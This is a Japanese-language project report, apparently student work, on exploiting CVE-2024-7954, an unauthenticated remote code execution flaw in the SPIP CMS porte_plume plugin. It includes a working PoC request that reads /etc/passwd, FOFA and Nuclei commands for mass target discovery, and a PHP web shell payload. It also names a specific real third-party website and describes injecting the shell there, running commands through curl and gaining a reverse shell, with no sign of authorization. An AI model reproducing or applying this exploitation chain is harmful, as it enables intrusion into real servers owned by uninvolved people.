リモートコード実行脆弱性（CVE-2024-7954）の悪用

ソフトウェア脆弱性テストプロジェクト 提出者: Shivansh Kuntal

概要

このプロジェクトは、SPIP CMS の porte_plume プラグインに影響を与える重大なリモートコード実行（RCE）脆弱性である CVE-2024-7954 の悪用を実証するものです。 この脆弱性により、認証されていない攻撃者が細工したHTTP POSTリクエストを介して、対象サーバー上で任意のPHPコードを実行することができます。

テストは管理されたローカル環境で実施され、その後、FOFAとNucleiを使用した実世界の偵察に拡張されました。

1. 環境構築

CVE-2024-7954の影響を受けることが確認されているSPIP CMSの脆弱性バージョンが、既知の脆弱性リリースをホストするGitHubリポジトリを使用して、Apacheサーバー上にローカルでデプロイされました。

使用ツール

• Burp Suite（HTTPリクエストの傍受・改変）
• Apache Web Server
• FOFA検索エンジン
• Nuclei脆弱性スキャナ
• curl（CLIによる悪用）

localhost で稼働するSPIPホームページはインストールの成功を検証し、悪用の対象として機能しました。

2. 脆弱性の説明

porte_plume プラグイン（バージョン4.30-alpha2、4.2.13、4.1.16より前）は、ユーザー提供の入力に対するサニタイズが不十分なため脆弱です。 攻撃者は特定のフォームフィールドにPHPコードを注入でき、そのコードは後でサーバーによってレンダリングされ実行されます。

影響: 認証なしのリモートコード実行 深刻度: 重大（Critical） 攻撃ベクトル: ネットワーク / HTTP POST

3. 概念実証（PoC）

悪意のあるPOSTリクエスト

POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

注記

• PHPコードはマークダウン整形エンジン内に注入されます。
• サーバー上のSPIPユーザーとして実行されます。
• 攻撃は認証を必要としません。

4. FOFA偵察

公開されているSPIPインストールを列挙するためにFOFAクエリが使用されました:

app="SPIP"

FOFAは複数のメタデータを返しました:

• HTTPヘッダー
• タイトル
• IPアドレスと地理位置情報
• サーバーテクノロジースタック

偵察上の価値

1. ターゲットの列挙: 到達可能なSPIP CMSサーバーを特定します。
2. バージョンのフィンガープリンティング: 脆弱性のあるプラグインバージョンが稼働しているかどうかを判断します。
3. 優先順位付け: 悪用可能と思われるシステムを選択します。
4. エクスプロイトの検証: 管理されたペイロードを使用してエンドポイントを検証します。
5. 自動化: FOFAの結果を targets.txt にエクスポートして、バッチスキャンを実行します。

特定された適切な実世界のホスト:

http://www.comite-tricolore.org/

5. Nucleiによる自動スキャン

目的

手動による悪用は時間がかかるため、Nuclei を使用して、多数のターゲットにわたるCVE-2024-7954の検出を自動化しました。

コマンド（カスタムテンプレート）

nuclei -l targets.txt -t CVE-2024-7954.yaml

• -l targets.txt はFOFAの結果を読み込みます
• -t はカスタムPoCテンプレートを読み込みます

注記: 最初のテンプレートは 一致なし を返しました。

広範囲のCVEスキャン

nuclei -l targets.txt -t cves/

このスキャンにより、応答するターゲットが1つ特定されました:

http://www.comite-tricolore.org/

6. 手動検証と悪用

ステップ1 — 脆弱なエンドポイントの調査

アクセス:

http://www.comite-tricolore.org/spip.php?page=contact

確認できた内容:

• 名前、メール、メッセージの入力フィールド
• ペイロード注入に適したPOSTリクエストハンドラ

ステップ2 — PHPペイロードの注入

Burp Suiteまたはcurlを使用して、message パラメータを変更します:

ペイロード

<?php system($_GET['cmd']); ?>

ステップ3 — コマンド実行のトリガー

アクセス:

http://www.comite-tricolore.org/spip.php?page=contact&cmd=id

またはcurlを使用:

curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"

出力により、リモートコマンド実行が確認されました。

ステップ4 — リバースシェル（最終アクセス）

細工されたペイロードによりリバースシェルのコールバックが可能になり、以下が可能になります:

• whoami
• ls
• 完全な対話型シェルアクセス

7. 重要な所見

• 認証なしエクスプロイトにより、深刻度が飛躍的に高まります。
• プラグインの入力サニタイズの欠陥が根本的な問題です。
• PHPが注入されレンダリングされると、サーバーの完全な侵害が可能になります。
• リバースシェル → 権限昇格の可能性 → サーバー乗っ取り。
• この攻撃はcurl、Pythonスクリプト、またはNucleiで簡単に自動化できます。

8. 結論

このプロジェクトは、偵察から対話型シェルの取得に至るまでの CVE-2024-7954 の完全な悪用チェーンを実証しています。

悪用の経路

1. 偵察（FOFA）
2. 自動スキャン（Nuclei）
3. 手動ペイロード注入
4. コード実行の検証
5. リバースシェルアクセス

セキュリティ上の教訓

• ユーザーが制御するすべてのデータに対して、厳格な入力検証が必須です。
• プラグインは安全なコーディング慣行に従う必要があります。
• 組織はセキュリティパッチを迅速に適用する必要があります。
• RCE攻撃を防ぐには、定期的な脆弱性評価が不可欠です。

この脆弱性は、一見無害なテキスト整形プラグインが、適切に保護されていない場合にシステムの完全な侵害を引き起こし得ることを浮き彫りにしています。